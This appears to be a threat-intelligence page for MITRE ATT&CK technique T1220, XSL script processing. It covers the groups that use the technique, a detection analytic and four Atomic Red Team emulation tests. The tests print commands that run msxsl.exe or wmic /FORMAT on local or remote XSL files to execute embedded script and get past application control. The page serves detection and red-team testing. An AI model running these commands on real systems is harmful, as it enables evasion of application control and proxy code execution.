tfMITRE ATT&CK technique

XSL Script Processing T1220

Tactic: Stealth
Platform: Windows
Version: 2.0
Created: 17 October 2018
Last modified: 12 May 2026
Contributors: Avneet Singh; Casey Smith; Praetorian

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. [1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups56th pct

Threat groups56th percentile · 56% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware44th pct

Tools & malware44th percentile · 56% of ATT&CK techniques have more tools implementing them.

Detection rules71st pct

Detection rules71st percentile · 71% of ATT&CK techniques have this many detection rules written or fewer.

XSL Script Processing MITRE reference T1220

56th pctamong all ATT&CK techniques for number of groups

2 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

HigaisaG0126 ↗

Used an XSL file to run VBScript code.1

created 2021-03-051 reference

Cobalt GroupG0080 ↗

Used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.1

created 2018-10-171 referenceaka GOLD KINGSWOOD

All 2 groups for this technique

Offense vs defense T1220

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 5Splunk ESCU (cumulative) · 3

first rule: 2019 Q1 · 1 of 1 campaigns plotted

XSL Script Processing detection strategy DET0205

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect XSL Script Abuse via msxsl and wmic

Enterprise

1 platform

AN0581 · Windows

Execution of XSL scripts via msxsl.exe or wmic.exe using embedded JScript or VBScript for proxy execution. Detection correlates process creation, command-line patterns, and module load behavior of scripting components (e.g., jscript.dll).

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CommandLinePattern	May need to tune based on encoded input or custom extensions (e.g., .jpeg instead of .xsl).
ParentProcess	Legitimate administrative or developer tools may use msxsl; validate the parent process chain.
TimeWindow	Temporal correlation window between script engine DLL load and suspicious process spawn.
RemoteXSLDomainWhitelist	Filter known safe URLs used by enterprise for XSL transformations.

Tests4Executorscmd 4Need elevation0 of 4Have prerequisites4Have cleanup2Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

MSXSL Bypass using local files

windows

cmd

—

Yes

Executes the code specified within a XSL script tag during XSL transformation using a local payload. Requires download of MSXSL. No longer available from Microsoft. (Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) Open Calculator.exe when test successfully executed, while AV turned off.

Input arguments

Name	Type	Default	Description
xmlfile	path	PathToAtomicsFolder\T1220\src\msxslxmlfile.xml	Location of the test XML file on the local filesystem.
xslfile	path	PathToAtomicsFolder\T1220\src\msxslscript.xsl	Location of the test XSL script file on the local filesystem.
msxsl_exe	path	PathToAtomicsFolder\..\ExternalPayloads\msxsl.exe	Location of the MSXSL executable.

Attack command

"#{msxsl_exe}" "#{xmlfile}" "#{xslfile}"

Cleanup command

del "#{msxsl_exe}" >nul 2>&1

Prerequisite

XML file must exist on disk at specified location (#{xmlfile})

Check

if (Test-Path "#{xmlfile}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{xmlfile}") -ErrorAction Ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml" -OutFile "#{xmlfile}"

Prerequisite

XSL file must exist on disk at specified location (#{xslfile})

Check

if (Test-Path "#{xslfile}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{xslfile}") -ErrorAction Ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl" -OutFile "#{xslfile}"

Prerequisite

msxsl.exe must exist on disk at specified location (#{msxsl_exe})

Check

if (Test-Path "#{msxsl_exe}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe" -OutFile "#{msxsl_exe}"

GUIDe4ce9f71-39b7-4fff-85ca-ac8e5b62f5f0

MSXSL Bypass using remote files

windows

cmd

—

Yes

Executes the code specified within a XSL script tag during XSL transformation using a remote payload. Requires download of MSXSL.exe. No longer available from Microsoft. (Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) Open Calculator.exe when test successfully executed, while AV turned off.

Input arguments

Name	Type	Default	Description
xmlfile	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml	Remote location (URL) of the test XML file.
xslfile	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl	Remote location (URL) of the test XSL script file.
msxsl_exe	path	PathToAtomicsFolder\..\ExternalPayloads\msxsl.exe	Location of the MSXSL executable.

Attack command

"#{msxsl_exe}" "#{xmlfile}" "#{xslfile}"

Cleanup command

del -Path #{msxsl_exe} >nul 2>&1

Prerequisite

msxsl.exe must exist on disk at specified location ("#{msxsl_exe}")

Check

if (Test-Path "#{msxsl_exe}") {exit 0} else {exit 1}

Satisfy

Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe" -OutFile "#{msxsl_exe}"

GUID5dc62d1f-5345-4728-adda-d448bdcc0bfd

WMIC bypass using local XSL file

windows

cmd

—

Executes the code specified within a XSL script using a local payload.

Input arguments

Name	Type	Default	Description
wmic_command	string	process list	WMI command to execute using wmic.exe
local_xsl_file	path	PathToAtomicsFolder\T1220\src\wmicscript.xsl	Location of the test XSL script file on the local filesystem.

Attack command

wmic #{wmic_command} /FORMAT:"#{local_xsl_file}"

Prerequisite

XSL file must exist on disk at specified location (#{local_xsl_file})

Check

if (Test-Path "#{local_xsl_file}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{local_xsl_file}") -ErrorAction Ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl" -OutFile "#{local_xsl_file}"

Prerequisite

wmic.exe must be present on the system. It is disabled by default on Windows 11, version 24H2 and later, and removed when upgrading to version 25H2.

Check

if (Test-Path "$env:SystemRoot\System32\wbem\wmic.exe") {exit 0} else {exit 1}

Satisfy

DISM /Online /Add-Capability /CapabilityName:WMIC~~~~

GUID28f8fe7c-7055-4d5d-8429-01c095a1c706

WMIC bypass using remote XSL file

windows

cmd

—

Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off.

Input arguments

Name	Type	Default	Description
wmic_command	string	process list	WMI command to execute using wmic.exe
remote_xsl_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl	Remote location of an XSL payload.

Attack command

wmic #{wmic_command} /FORMAT:"#{remote_xsl_file}"

Prerequisite

wmic.exe must be present on the system. It is disabled by default on Windows 11, version 24H2 and later, and removed when upgrading to version 25H2.

Check

if (Test-Path "$env:SystemRoot\System32\wbem\wmic.exe") {exit 0} else {exit 1}

Satisfy

DISM /Online /Add-Capability /CapabilityName:WMIC~~~~

GUIDbfb52bd4-9034-4fae-b89c-34fc9de45f9c

Tests from Atomic Red Team (MIT licence) · technique definition

XSL Script Processing detections T1220

8 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

71st pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs